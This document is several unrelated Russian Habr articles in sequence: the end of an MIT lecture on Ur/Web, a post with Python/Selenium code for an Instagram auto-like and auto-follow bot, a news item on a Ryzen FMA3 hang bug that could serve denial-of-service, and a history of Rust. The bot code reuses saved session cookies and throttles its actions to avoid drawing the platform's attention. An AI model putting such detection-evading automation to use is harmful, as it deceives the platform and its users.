Итак, вернёмся к нашему изображению на экране. У нас есть это название Title, давайте обрамим его тегами. И вместо href, обычного способа сделать ссылку в HTML, мы используем атрибут link, который является своего рода псевдоатрибутом Ur/Web, который принимает в качестве аргумента не URL, а в основном выражения Ur/Web. Смысл в том, что когда вы нажимаете на эту ссылку, запускается это выражение для создания новой страницы, которая должна отображаться.
В этом случае мы совершаем вызов функции чата, которая определена здесь, на следующем экране, вот что это такое.
Не буду вдаваться в подробности. Но у нас есть еще несколько SQL-запросов, использующих различные стандартные библиотечные функции для различных способов использования запрашиваемых результатов.
Мы генерируем эту HTML страницу и говорим, что вы находитесь в чате с таким-то названием title, у нас есть форма form, где пользователь может ввести текст. Это та форма, которую я использовал, чтобы продемонстрировать работу программы несколько минут назад. Кнопка отправки формы имеет этот атрибут Add, содержащий say, который является именем функции Ur/Web. Поэтому, когда мы отправляем форму, мы вызываем эту функцию.
Запуск ещё нескольких SQL вставляет новые строки в таблицу. Мы автоматически перепрыгиваем из ID комнаты чата в текстовые поля, пришедшие сюда из формы, и они автоматически скрываются по мере необходимости. Но опять же, в Ur/Web вам не нужно думать о «побеге» из функции таким образом. Потому что это просто синтаксис для построения дерева, а не для строки. Таким образом, нет никакой возможности, чтобы с парсингом происходили странные вещи, которые вы не ожидаете от выбранного способа толкования синтаксиса.
Итак, тот факт, что у нас в этой форме имеется виджет в виде графического интерфейса GUI, и это текстовое поле, компилятор делает вывод, что запись, которая получается в результате заполнения формы textbox, должна иметь один элемент, называемый «text» строкового типа. Эта кодировка формы и правила набора в ней текста не встроены в язык, а берутся из библиотеки Ur express, которая фактически управляет этими формами, определяя типы допустимых функций.
Если у вас нет больше вопросов по поводу этой части программы, я перейду к следующему шагу. Я собираюсь использовать способ получить принудительную инкапсуляцию различных частей приложения, которое поддерживает Ur/Web и которое редко поддерживают другие языки. Я собираюсь занять эту комнату. Я собираюсь взять несколько определений и поместить их в модуль, который инкапсулирует некоторые из них как приватные. В частности, таблицы базы данных будут закрытыми, так что никто не сможет получить к ним прямой доступ.
Получить к ним доступ можно только с помощью набора методов, которые мы предоставляем. Один метод запускается внутри транзакции и создает список записей с полями ID и title, предназначенных для доступных чат-комнат.
Далее мы просто раскроем эту операцию чата. И единственное, что я здесь сделал, это ввёл имя для понятия ID – type ID. Таким образом, я не просто говорю, что ID является целым числом, я говорю, что это новый тип.
Единственный способ внешнего мира связаться с чатом – это получить список всех комнат, а единственный способ, которым внешний мир может когда-либо его использовать его — это вызов в нём функции чата. Скажем, это некий абстрактный тип хэш-таблицы внутри класса хэш-таблиц, где хранятся детали, объясняющие, что такое ID и как они производятся внутри, являясь приватными для этого модуля, и клиентский код, который вызывает этот модуль, не должен их использовать.
Сейчас перенесу весь этот синтаксис вниз и расположу внутри модуля, так что по умолчанию он не подвергается остальному коду. Далее я реализую этот метод комнат. У нас уже есть возможность организовать чат. Но мы можем реализовать комнаты более простым способом с помощью другой стандартной библиотечной функции для интерпретации запроса в употребляемой форме.
Давайте просто выберем всё из списка комнат, отсортировав по названию. Как обычно, этот запрос представляет собой проверенный для нас тип данных. И система определяет: «ОК, это выражение будет генерировать список записей, которые совпадают с типом, объявленным в подписи этого модуля». Поэтому теперь за пределами этого модуля никакой другой код не может упоминать room table или message table.
Таким образом, по крайней мере, с точки зрения этого приложения, мы можем применять требуемую от него инвариантность. Мы даже можем скрыть внутри модуля секреты, чтобы не возникло проблем безопасности, если какая-то другая часть кода сможет их достать.
**Студент:** не могла бы какая-то другая часть кода также реализовать этот метод комнат?
**Профессор:** Это была бы совсем другая таблица. Вообще-то мы можем это сделать, вставив вот такой фрагмент из 4-х строк в другой модуль.
Тогда мы можем делать с этой таблицей все, что захотим. Я скомпилирую это, может быть, через 30 секунд, и мы увидим, что произойдет. Но на самом деле это другая таблица, как если бы вы имели одно и то же частное имя, но для двух разных классов Java.
Итак, вы предполагаете, что внутри этого модуля есть абстрактный тип под названием room, который содержит в себе идентификатор ID и заголовок Title. Это не правильно. Чат принимает параметры room в качестве входных данных. Когда мы вызовем функцию чата, она будет вызвана через URL-адрес. Идентификатор ID и заголовок Title передаётся вне представления URL-адреса, осуществляющего вызов функции. Идентификатор ID нужен нам только для того, чтобы реализовать эту функцию. Поэтому когда мы вызываем функцию, мы фактически вызываем URL.
Было бы расточительно с точки зрения использования пространства и выглядело бы грубым для пользователя, если бы заголовок передавался как дополнительный аргумент при вызове чата через URL. Разве это имеет смысл? Давайте посмотрим на строку URL на этом слайде.
Идентификатор канала, по которому мы движемся, автоматически сериализуется в URL в конце строки. И если бы мы передавали запись, которая содержит ID и название Title, это название также подвергалась бы сериализации, что, по крайней мере, немного нелогично.
54:10
[Курс MIT «Безопасность компьютерных систем». Лекция 11: «Язык программирования Ur/Web», часть 3](https://habr.com/company/ua-hosting/blog/426001/)
Полная версия курса доступна [здесь](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/).
Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, **30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас:** [Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер?](https://habr.com/company/ua-hosting/blog/347386/) (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
**VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно** при оплате на срок от полугода, заказать можно [тут](https://ua-hosting.company/vpsnl).
**Dell R730xd в 2 раза дешевле?** Только у нас **[2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249](https://ua-hosting.company/serversnl) в Нидерландах и США!** Читайте о том [Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?](https://habr.com/company/ua-hosting/blog/329618/) | https://habr.com/ru/post/425999/ | null | ru | null |
# Лень пораБОТила instagram
Предисловие
-----------
Сейчас многие используют инстаграм (далее инста): кто-то там собирает альбомы, кто-то продает, кто-то покупает, а я там ленюсь. Мне всегда было интересно как там поживают мои друзья, одноклассники, коллеги и инста в этом помогала. Захотел узнать, что там нового — зашел, полистал ленту, увидел все, что интересовало ушел… НО! Мне почему-то всегда нужно было лайкнуть каждый пост (не могу обьяснить зачем, но такие вот дела). И вот представьте, неделю туда не заходил, сидишь, лайкаешь недельный пул, а когда у тебя 200+ подписок — это вообще ад.
Активные действия
-----------------
В итоге, как и любому нормальному человеку, мне стало лень лайкать все подряд и я забил. Вроде бы все стало хорошо, я перестал тратить кучу времени на бесполезные лайки, но меня съедала совесть. Я понимал, что подписчикам плохо без моего царского лайка, они грустят и бла бла бла… В общем, было решено, что нужно написать что-то простое и легкое, которое сможет решить проблему негодования, а может и помочь еще кому-то. От знакомых много слышал о python и о том, как клево тестить приложения с помощью selenium или использовать его в качестве некого crawler'a. Было решено использовать python и selenium в связке с phantom js, все это было для меня ново, т.к. до этого я с данными технологиями вообще не был знаком.
Почему Selenium и phantom?
--------------------------
Тут все очень просто. Клиентская часть instagram написана на react, следовательно, какие-либо данные можно дернуть там только после того, как страница будет срендерена. Т.к. selenium как раз и служит для автоматизации действий в браузере, а phantom js помогает делать это все без какого-либо отображения, было решено их использовать. Забегая наперед скажу, что от phantom js я решил отказаться в силу того, что он достаточно медленный, а у chrome появилась опция headless, что и позволило использовать его в качестве «безголового» браузера.
Почему python?
--------------
Я много слышал и читал о том, что этот язык отлично подходит для работы с big data, отсюда я сделал вывод, что в нем удобно работать вообще с какими-либо данными (парсить, сортировать, сравнивать, форматировать и т.д.), также я где-то читал, что к нему удобно и быстро писать свои мини-библиотеки (а это то, что нужно для бота, чтоб сделал его как можно универсальнее). Взвесив все, решил остановиться на python3 (до этого часть проекта уже была написана с возможностью запуска на python2 и python3).
Разработка библиотеки для бота
------------------------------
Весь процесс описывать глупо, поэтому остановимся на самых интересных моментах:
* ##### Авторизация
Так как бот — это повторение большого кол-ва одних и тех же действий для которых нужно быть авторизованным, то нужно было что-то придумать с этим процессом. Каждый раз логиниться через форму очень подозрительно, было решено попытаться дернуть куки и использовать их для авторизации.
**Оказалось, что у instagram с этим все просто (а вот mail ru доставил мне дикую головную боль):**
```
import pickle
import time
import tempfile
import os
import selenium.common.exceptions as excp
def auth_with_cookies(browser, logger, login, cookie_path=tempfile.gettempdir()):
"""
Authenticate to instagram.com with cookies
:param browser: WebDriver
:param logger:
:param login:
:param cookie_path:
:return:
"""
logger.save_screen_shot(browser, 'login.png')
try:
logger.log('Trying to auth with cookies.')
cookies = pickle.load(open(os.path.join(cookie_path, login + '.pkl'), "rb"))
for cookie in cookies:
browser.add_cookie(cookie)
browser.refresh()
if check_if_user_authenticated(browser):
logger.log("Successful authorization with cookies.")
return True
except:
pass
logger.log("Unsuccessful authorization with cookies.")
return False
def auth_with_credentials(browser, logger, login, password, cookie_path=tempfile.gettempdir()):
logger.log('Trying to auth with credentials.')
login_field = browser.find_element_by_name("username")
login_field.clear()
logger.log("--->AuthWithCreds: filling username.")
login_field.send_keys(login)
password_field = browser.find_element_by_name("password")
password_field.clear()
logger.log("--->AuthWithCreds: filling password.")
password_field.send_keys(password)
submit = browser.find_element_by_css_selector("form button")
logger.log("--->AuthWithCreds: submitting login form.")
submit.submit()
time.sleep(3)
logger.log("--->AuthWithCreds: saving cookies.")
pickle.dump([browser.get_cookie('sessionid')], open(os.path.join(cookie_path, login + '.pkl'), "wb"))
if check_if_user_authenticated(browser):
logger.log("Successful authorization with credentials.")
return True
logger.log("Unsuccessful authorization with credentials.")
return False
def check_if_user_authenticated(browser):
try:
browser.find_element_by_css_selector(".coreSpriteDesktopNavProfile")
return True
except excp.NoSuchElementException:
return False
```
При неудачной авторизации куками, авторизируемся логином/паролем, сохраняет куку и используем ее в дальнейшем, стандартная схема.
`#TODO: никак не дойдут руки до проверки возраста куки`
* ##### Лайкинг ленты новостей
Т.к. в первую очередь я писал это для себя, мне было интересно, чтоб у меня всегда была отлайкана новостная лента. Изначально все было просто, листается сверху до последнего обработанного поста, веб-элементы постов заносятся в массив, включается задняя и лайкается все на обратном пути, проложенном через веб-элементы постов, которые лежат в ранее созданном массиве. Я был счастлив, что все работает именно так, как мне того хотелось, но где-то через два месяца «луна была козероге» и мой бот тупо перестал работать. Проверял все как мог, на разных веб-драйверах, визуально ничего не изменилось, но при этом ничего и не работает. В общем, убил я на поиски проблемы около трех дней. Оказалось все очень просто: раньше когда бот проходил по проскролленым постам, он брал их объекты из массива, скроллил к посту (имитируя действия человека) находил там кнопку «лайк», нажимал ее и шел дальше; теперь же инстаграм решил хранить в html-разметке только ~ 9 постов из которых в структуре 5ый — активный у пользователя, предыдущие 4 и следующие 4, а все остальные из html просто удалялись. Пришлось решать вопрос собиранием тех постов, которые нужно лайкнуть в массив по их ссылке, потом при скроллинге вверх (тупо вверх) искать текущий пост в раннее собранном массиве и при наличии его там — лайкать.
**Та еще наркомания..**
```
for post in progress:
real_time_posts = br.find_elements_by_tag_name('article')
post_link = post.get('pl')
filtered_posts = [p for p in real_time_posts if self._get_feed_post_link(p) == post_link]
if filtered_posts.__len__():
real_post = filtered_posts.pop()
# scroll to real post in markup
heart = real_post.find_element_by_css_selector('div:nth-child(3) section a:first-child')
self.browser.execute_script("return arguments[0].scrollIntoView(false);", heart)
# getting need to process elements
author = real_post.find_element_by_css_selector('div:first-child .notranslate').text
heart_classes = heart.find_element_by_css_selector('span').get_attribute('class')
# check restrictions
is_not_liked = 'coreSpriteHeartOpen' in heart_classes
is_mine = author == login
need_to_exclude = author in exclude
if is_mine or not is_not_liked:
self.post_skipped += 1
pass
elif need_to_exclude:
self.post_skipped_excluded += 1
pass
else:
# like this post
time.sleep(.3)
heart.click()
time.sleep(.7)
self.db.likes_increment()
self.post_liked += 1
log = '---> liked @{} post {}'.format(author, post_link)
self.logger.log_to_file(log)
```
ПОБЕДА!
* ##### Лимиты действий
Чтоб не привлекать много внимания, нужно ставить боту какие-то ограничения. Чтоб придерживаться этих ограничений, нужно куда-то сохранять счетчики произведенных действий. Для хранилища всякой внутренней информации было выбрано sqlite — быстро, удобно, локально. Прям в библиотеке я написал небольшой модуль для работы в бд, туда же добавил миграции — для последующих релизов. Сохраняется в бд каждый лайк/фоллоу с часом, в который он сделан, потом считаются лайки/фолловы за сутки/текущий час, исходя из этих данных решается можно ли еще кого-то лайкать или фолловить. Лимиты пока жестко прописаны в библиотеке, нужно будет сделать их конфигурируемыми.
* ##### Ответвление в процессе разработки
Пока писалась библиотека для бота, в голове засел вопрос о циферках. Стало интересно сколько у пользователя лайков, просмотров, комментов в разрезе поста или сумарно. Для удовлетворения интереса был написан небольшой класс библиотеки, который через приватное api инстаграмма собирал всю доступную (без авторизации) статистику и выдавал ее пользователю:
**Скрытый текст**
```
+-- https://instagram.com/al_kricha/ --------------------------+
| counter | value |
+------------------------------+-------------------------------+
| followed | 402 |
| posts | 397 |
| comments | 1602 |
| likes | 20429 |
| following | 211 |
| video views | 6138 |
| |
+--------- https://github.com/aLkRicha/insta_browser ----------+
+--------------------------------------------------------------+
| top liked posts |
+--------------------------------------------------------------+
| https://instagram.com/p/BVIUvMkj1RV/ - 139 likes |
| https://instagram.com/p/BTzJ38-DkUT/ - 132 likes |
| https://instagram.com/p/BI8rgr-gXKg/ - 129 likes |
| https://instagram.com/p/BW-I6o6DBjm/ - 119 likes |
| https://instagram.com/p/BM4_XSoFhck/ - 118 likes |
| https://instagram.com/p/BJVm3KIA-Vj/ - 117 likes |
| https://instagram.com/p/BIhuQaCgRxI/ - 113 likes |
| https://instagram.com/p/BM6XgB2l_r7/ - 112 likes |
| https://instagram.com/p/BMHiRNUlHvh/ - 112 likes |
| https://instagram.com/p/BLmMEwjlElP/ - 111 likes |
+--------------------------------------------------------------+
```
Имея такие данные мы с другом ([**txwkx**](https://github.com/txwkx)) решили визуализировать их и создали [**instameter.me**](https://instameter.me/) — небольшой сервис, где можно посмотреть «резюме» любого открытого instagram-аккаунта.
**Пример**
* ##### Что умеет бот?
На сегодня бот умеет не так много как хотелось, но все же, ключевые действия он совершает:
+ Лайкает ленту новостей до последнего не лайкнутого.
+ Лайкает тег на указанное кол-во постов
+ Лайкает локацию на указанное кол-во постов
+ Автофолловит людей из постов локации/тега, при включении настройки, но не всех подряд, а только тех, которые потенциально могут стать подписчиками
+ Собирает статистику по пользователю
+ Хранит статистику по часам о совершенным действиям
* ##### Что хотелось бы сделать в будущем?
+ Написание ± осмысленных комментариев
+ Отписываться от ненужных аккаунтов
+ Лайкать несколько постов только что зафолловенного человека
+ Переписать алгоритм прохождения новостной ленты
+ Сравнивать несколько аккаунтов
Заключение
----------
Еще много чего нужно сделать, оптимизировать, переписать. Всегда можно использовать эффективно инструмент не по назначению. Лень — это точно двигатель прогресса. Надеюсь, кому-то мой бот поможет или в работе, или в хобби. Репозиторий с pypi-пакетом может помочь начинающему автоматизатору. Репозиторий с примерами может быть полезным для SMM-щиков. Всем спасибо за внимание.
Ссылки
------
* [insta\_browser](https://github.com/aLkRicha/insta_browser) — моя мини-библиотека, сердце бота
* [insta\_bot](https://github.com/aLkRicha/insta_bot) — examples репозиторий, сам бот (в таком виде я его и использую)
* [instameter](https://instameter.me) — проект для снятия статистики по instagram-аккаунту | https://habr.com/ru/post/347774/ | null | ru | null |
# Инструкции FMA3 в Ryzen намертво вешают операционную систему
Как выяснилось, выполнение некоторых специфичных инструкций FMA3 на процессоре AMD Ryzen приводит к критическому сбою ОС.
Инструкции типа FMA3 (Fused-Multiply-Add) поддерживаются и Intel (в Haswell), и AMD. Это инструкции типа `d = round(a × b + c)`, где *d* должна быть в том же регистре, что и *a*, *b* или *c*. Для сравнения, инструкции FMA4 поддерживает только AMD (в процессорах Buldozer и более поздних). Там *a*, *b*, *c* и *d* могут быть в разных регистрах.
Баг в процессоре обнаружен во [Flops version2](https://github.com/Mysticial/Flops/tree/master/version2) — простой и малоизвестной утилите для тестирования ЦП. Следует заметить, что разработчик этой утилиты Александр "Mystical" Йи (Alexander «Mystical» Yee) позиционирует её как специфическую утилиту тестирования, которая чувствительна к микроархитектуре процессоров. В других бенчмарках баг так и не проявился.
С утилитой Flops version2 поставляются специфические бинарники для всех основных архитектур x64 (Core2, Bulldozer, Sandy Bridge, Piledriver, Haswell, Skylake). Но на данный момент ни среди бинарных сборок [под Windows](https://github.com/Mysticial/Flops/tree/master/version2/binaries-windows), ни [под Linux](https://github.com/Mysticial/Flops/tree/master/version2/binaries-linux) нет версии для тестирования Zen. Поэтому сейчас для тестирования Ryzen применяли бинарники других архитектур, а именно наиболее близкой Haswell. Вышеупомянутая ошибка с инструкциями FMA3 [обнаружена две недели](http://forum.hwbot.org/showthread.php?t=167605) назад самим автором программы Flops, когда он запустил тест со стоковым бинарником для Haswell на компьютере следующей конфигурации:
* Ryzen 7 1800X
* Asus Prime B350M-A (BIOS 0502)
* 4 x 8GB Corsair CMK32GX4M4A2400C14 @ 2133 MHz
* Windows 10 Anniversary Update
Внезапно обнаружилось, что система обычно зависает при выполнении следующей операции:
`Single-Precision - 128-bit FMA3 - Fused Multiply Add:`
Иногда тест проходит эту операцию успешно, но всё равно зависает на какой-нибудь другой операции в дальнейшем.
Разработчик объясняет, что его тест — с открытым исходным кодом, и если вы не доверяете результатам, то можете сами взять и скомпилировать бинарник в Visual Studio, и перепроверить результаты.
Александр понимал, какое внимание привлечёт, сообщая об ошибке в разрекламированном процессоре. Поэтому он многократно перепроверил результаты. Процессор вешал систему на всех тактовых частотах. А при работе в однопотоковом режиме систему вешало каждое ядро.
Оставались какие-то вероятности, что причина сбоя может быть всё-таки не в процессоре, а в чём-то другом. Например, в специфической материнской плате, в специфическом BIOS, в специфической операционной системе… Что ещё может быть?
Разработчик поделился результатами с коллегами, чтобы они проверили другие версии Zen на своих компьютерах. Сбои подтвердились и для других процессоров, на разных материнских платах, под разными версиями Windows и под Linux.
В первые дни после призыва Алекса тесты запустили пять владельцев процессоров Ryzen. Вот какие получены результаты:
**Подтверждённые сбои:**
* 1800X + Asus Prime B350M-A (BIOS 0502)
* 1700 + Asus Prime B350M-A (BIOS ???)
* 1700 + Asus Crosshair VI Hero
* 1700 + Asus Crosshair VI Hero (BIOS 5803) (два банка памяти G.Skill + Kingston)
* 1800X + Asus Crosshair VI Hero (Windows 7) — один раз прошёл тест, многократно не прошёл.
**Подтверждённая бессбойная работа:**
* Пока нет
Разработчик бенчмарка проверил все варианты FMA (128 бит, 256 бит, одинарная точность, двойная точность чисел). Во всех случаях компьютер намертво зависал.
Ему не давала покоя только одна деталь: хотя тест написан правильно, но почему-то зависания не присходило в других бенчмарках, таких как prime95 и y-cruncher, хотя они тоже используют FMA в тестировании.
Так что некоторая неопределённость оставалась.
В конце концов, 16 марта было получено официальное [сообщение](http://forum.hwbot.org/showpost.php?p=480524&postcount=25) от представителя AMD, что баг будет исправлен в новом коде [AGESA](http://review.coreboot.org/cgit/coreboot.git/tree/src/vendorcode/amd) (AMD Generic Encapsulated Software Architecture) — протокола, который используется в том числе для инициализации ядер процессоров AMD. Другими словами, специалисты компании проверили и подтвердили баг. Позже представители AMD [официально подтвердили баг в комментариях для СМИ](http://www.digitaltrends.com/computing/ryzen-amd-bios-fix-fma3-crash/).
К счастью, такой баг можно исправить без замены железа, а просто обновлением микрокода. Баг незначительный, так что он не вызовет отзывы процессоров или какие-то другие проблемы для компании. Фактически, в реальных условиях работы вряд ли кто-то когда-либо может столкнуться с этим багом, он никак не сказывается ни на работе компьютера, ни на производительности процессора.
Плохая новость в том, что его могут использовать злоумышленники для DoS-атак. То есть главным образом эта ошибка — проблема информационной безопасности. Ведь обычная пользовательская программа, работающая в user mode, а не на уровне ядра ОС, никак не должна намертво вешать систему. Но это происходит.
То, что тест запускали на бинарнике для другой архитектуры — не так принципиально. Любой процессор должен успешно воспроизводить тесты из любого бинарника, если он поддерживает соответствующий набор инструкций, пишет автор бенчмарка. Но даже если запустить тест с использованием несовместимых инструкций, программа не должна вешать систему намертво.
Опасность уязвимости в безопасности усугубляется тем, что вредоносный код можно запустить даже из-под виртуальной машины, он всё равно подвесит всю систему. Компьютер с новым процессором Ryzen может подвесить любая вредоносная программа. Возможно, даже через браузер.
Как уже было сказано, AMD работает над обновлением протокола AGESA. После этого патчи будут выпущены для всех версий BIOS во всех материнских платах. | https://habr.com/ru/post/402551/ | null | ru | null |
# Краткая история Rust: от хобби до самого популярного ЯП по данным StackOverflow
Rust — это язык системного программирования, создатели которого [уделили](https://www.cleverism.com/skills-and-tools/rust/) внимание [трем вещам](https://ru.wikipedia.org/wiki/Rust_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)): параллелизму, скорости и безопасности. И хотя Rust [считается](https://www.rust-lang.org/id-ID/contribute-libs.html) молодым языком программирования — его первая стабильная версия вышла в 2015 году — он разрабатывается уже более десяти лет.
Сегодня мы бы хотели заглянуть в прошлое и рассказать историю языка Rust, показать, как изменились его функции и возможности за время разработки и привести конкретные примеры внедрения этого ЯП на практике.
[](https://habrahabr.ru/company/bitfury/blog/349786/)
*/ изображение [Jeff Vier](https://www.flickr.com/photos/boinger/5444378806/) [CC](https://creativecommons.org/licenses/by-sa/2.0/)*
Личный проект (2006–2010)
-------------------------
> *Технология из прошлого, которая призвана спасти будущее от самого себя*
>
>
>
> — Грэйдон Хор (Graydon Hoare), [разработчик](http://steveklabnik.github.io/history-of-rust/) Rust
Это одна из цитат Грэйдона Хора, которую озвучил Стив Клабник (Steve Klabnik) из команды разработчиков проекта Rust во время своей презентации на конференции ACM в 2016 году (слайды к презентации вы можете найти [по ссылке](http://steveklabnik.github.io/history-of-rust/), а для того, чтобы перемещаться между слайдами, используйте стрелки на клавиатуре). Эти слова хорошо отражают тот факт, что Rust — [не революционный](https://habrahabr.ru/post/260147/) язык, имеющий передовые функции. Он просто включает в себя множество рабочих методов из «старых» языков (в том числе C++), повышая их безопасность.
Грэйдон Хор [начал](http://progopedia.ru/language/rust/) разработку Rust в 2006 году – в то время он был сотрудником Mozilla и занимался проектом в свободное от работы время. По [словам](https://www.reddit.com/r/rust/comments/27jvdt/internet_archaeology_the_definitive_endall_source/) Грэйдона, язык получил название в честь грибов семейства [ржавчинные](https://ru.wikipedia.org/wiki/%D0%9F%D1%83%D0%BA%D1%86%D0%B8%D0%BD%D0%B8%D0%B5%D0%B2%D1%8B%D0%B5_(%D0%BF%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA)), поскольку те являются «распределёнными организмами», не имеющими «единой точки отказа», и обладают исключительной живучестью. Такие грибы имеют пять стадий жизненного цикла и быстро прорастают. Хор решил, что это хорошая аналогия для ЯП, сфокусированного на безопасности и скорости работы.
Занимаясь языком, Грэйдон установил определенные правила. Он [отмечал](http://steveklabnik.github.io/history-of-rust/), что в первую очередь необходимо уделять внимание семантике языка, а работа над синтаксисом — это последнее дело. Поэтому в ранней реализации Rust ключевые слова были не длиннее пяти символов — язык был «кратким» и использовал такие операторы, как log, ret и fn.
Например, первый код на Rust, который увидел свет, [выглядел](http://steveklabnik.github.io/history-of-rust/) так:
```
fn main() {
log "hello, world";
}
fn max(int x, int y) -> int {
if (x > y) {
ret x;
} else {
ret y;
}
}
```
Как [отмечает](https://www.youtube.com/watch?v=79PSagCD_AY) Стив Клабник, со временем это ограничение было снято: часть ключевых слов «удлинили», например, ret превратился в return, а часть заменили совсем. Для сравнения, в современной реализации языка вывод строки «Привет, мир!» [выглядит](https://en.wikipedia.org/wiki/Rust_(programming_language)) так:
```
fn main() {
println!("Hello, world!");
}
```
Также за время эволюции часть концепций и ключевых слов языка была убрана. Когда над языком работал Грэйдон, Rust был объектно-ориентированным и [использовал](http://steveklabnik.github.io/history-of-rust/) оператор obj для описания объектов. Сейчас как таковое ООП языком не поддерживается, но Rust дает возможность реализовать многие его понятия с помощью абстракций.
Rust также работал с функциями [параметрического полиморфизма](https://kgv.gitbooks.io/rust_book_ru/content/src/generics.html). Концепции обобщенного программирования в языке сохранились и сейчас (оформление кода вы можете найти в этом [документе](https://doc.rust-lang.org/1.11.0/book/generics.html)), однако десять лет назад для обозначения типа параметров использовались квадратные скобки:
```
obj swap[T](tup(T,T) pair) -> tup(T,T) {
ret tup(pair._1, pair._0);
}
fn main() {
auto str_pair = tup("hi", "there");
auto int_pair = tup(10, 12);
str_pair = swap[str](str_pair);
int_pair = swap[int](int_pair);
}
```
Самостоятельно над Rust Грэйдон работал на протяжении четырех лет. За это время ему удалось воплотить в жизнь примерно 90% задуманных функций (часть из которых имела довольно грубую реализацию). Среда для выполнения кода была завершена на 70%. Всего за это время Хор написал 38 тыс. строк кода для компилятора на [OCaml](https://ru.wikipedia.org/wiki/OCaml).
Переход к Mozilla (2010–2012)
-----------------------------
> *Я не считаю, что у языка должны быть какие-то главные особенности.
>
>
>
> Он должен состоять из набора понятных и надежных модулей, которые хорошо «работают» в комбинации друг с другом*
>
>
>
> — Грэйдон Хор (Graydon Hoare), [разработчик](https://www.infoq.com/news/2012/08/Interview-Rust) Rust
По прошествии четырех лет, Грэйдон [решил показать](https://www.infoq.com/news/2012/08/Interview-Rust) свой прототип менеджеру в Mozilla. В компании проявили интерес к проекту, поскольку искали инструмент для перестройки стека браузера на более простых технологиях, чем C++. Поэтому в компании создали команду (во главе с Грэйдоном) для работы над Rust, который стал основой [браузерного движка Servo](https://github.com/mozilla/servo/).
Тогда движок Mozilla [не мог](https://www.opennet.ru/opennews/art.shtml?num=44044) полноценно работать с мультиядерными системами, поскольку имел однопоточные схемы обработки контента. Например, однопоточными были функции формирования содержимого окна и запуска JavaScript. Rust позволил разделить код рендеринга на мини-задачи, выполняемые параллельно и экономящие ресурсы центрального процессора.
Кроме ускорения работы за счет распараллеливания операций, Rust позволил повысить защищенность браузера. На тот момент Firefox был реализован на C++ и содержал 4,5 млн строк кода. C++ — это «точный» язык программирования, требующий повышенного внимания к деталям, поэтому ошибки программистов могли приводить к [возникновению](https://www.youtube.com/watch?v=79PSagCD_AY) серьезных уязвимостей. Задачей Rust стало снижение влияния человеческого фактора с помощью компилятора.
В 2010 году разработчики языка сменили используемый до этого компилятор OCaml на компилятор, написанный на Rust. В 2011 году Грэйдон опубликовал [сообщение](https://mail.mozilla.org/pipermail/rust-dev/2011-April/000330.html) о том, что компилятор сумел успешно «собрать» сам себя, а в 2012 команда Rust [объявила](https://mail.mozilla.org/pipermail/rust-dev/2012-January/001256.html) о релизе альфа-версии компилятора — его документация была не полной, а скорость создания билда оказалась далека от идеальной, однако он уже поддерживал большинство функций языка и кросс-компиляцию.
Годы typesystem (2012–2014)
---------------------------
> *Наша целевая аудитория — «разочарованные разработчики C++»*
>
>
>
> — Грэйдон Хор (Graydon Hoare), [разработчик](https://www.infoq.com/news/2012/08/Interview-Rust) Rust
>
>
В этот момент Грэйдон отошел от работы над Rust и переключился на другие проекты. Как [рассказывает](https://www.youtube.com/watch?v=79PSagCD_AY) Стив Клабник, после этого система управления стала более «распределенной». Была сформирована федеративная структура, в которой за изменения, вносимые в разные части проекта, отвечала отдельная группа разработчиков.
Команда продолжила расти, и в ней стали появляться люди, разбирающиеся в сложных системах типов. Поэтому началось активное развитие typesystem, и все больше аспектов языка выносились в библиотеки.
Например, на ранних этапах Rust был реализован «сборщик мусора» (GC — Garbage Collector), который Грэйдон внедрил для повышения защищенности памяти. Однако потом разработчики пришли к выводу, что они могут обеспечить тот же уровень надежности с помощью системы типов, и от GC отказались.
Это решение также сказалось на системе указателей, используемой в Rust. До удаления «сборщика мусора» в языке было три основных указателя:
* @ (указатель, «собранный» GC)
* ~ (уникальный указатель)
* & ([заимствованный указатель](https://www.ibm.com/developerworks/ru/library/l-rust_08/index.html))
После удаления GC система указателей претерпела изменения и приняла такой вид:
* Box (уникальный указатель)
* & (заимствованный указатель, который назвали «ссылкой»)
На этом этапе разработки языка программирования также было сделано множество улучшений, не связанных с typesystem. Например, велась работа над менеджером пакетов Cargo и онлайн-репозиторием Crates.io. Разработчики добавили возможность кастомизации настроек компилятора, что упростило переход на Rust с других языков. «Новичкам» не приходилось выяснять, для чего нужен тот или иной флаг при компиляции. Кстати, команды для менеджера пакетов Cargo вы также можете найти в [презентации](http://steveklabnik.github.io/history-of-rust/) Стива Клабника.
Период с 2012 по 2014 год — это время, когда сообщество Rust начало обретать форму. В нем образовалось три больших «лагеря»: пользователи C++, пользователи скриптовых языков и функциональные программисты. Их экспертиза повлияла на язык — постепенно он стал [сочетать](https://ru.wikipedia.org/wiki/Rust_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) в себе парадигмы функционального и процедурного программирования.
В марте 2014 года также был сформирован [RFC-процесс](http://rust-lang.github.io/rfcs/), который [использовался](https://github.com/rust-lang/rfcs) для представления значимых изменений в языке. Решение строилось по образу и подобию Python PEP, и сейчас в нем сделано 3 тыс. коммитов. Причем в RFC попадает любое изменение, даже вносимое разработчиками. По правилам команды Rust, никто не может вносить крупные изменения, не обсудив решение с сообществом.
Релиз (2015)
------------
> *Мы не знаем наверняка, что из этого получится*
>
>
>
> — Грэйдон Хор (Graydon Hoare), [разработчик](http://steveklabnik.github.io/history-of-rust/) Rust
>
>
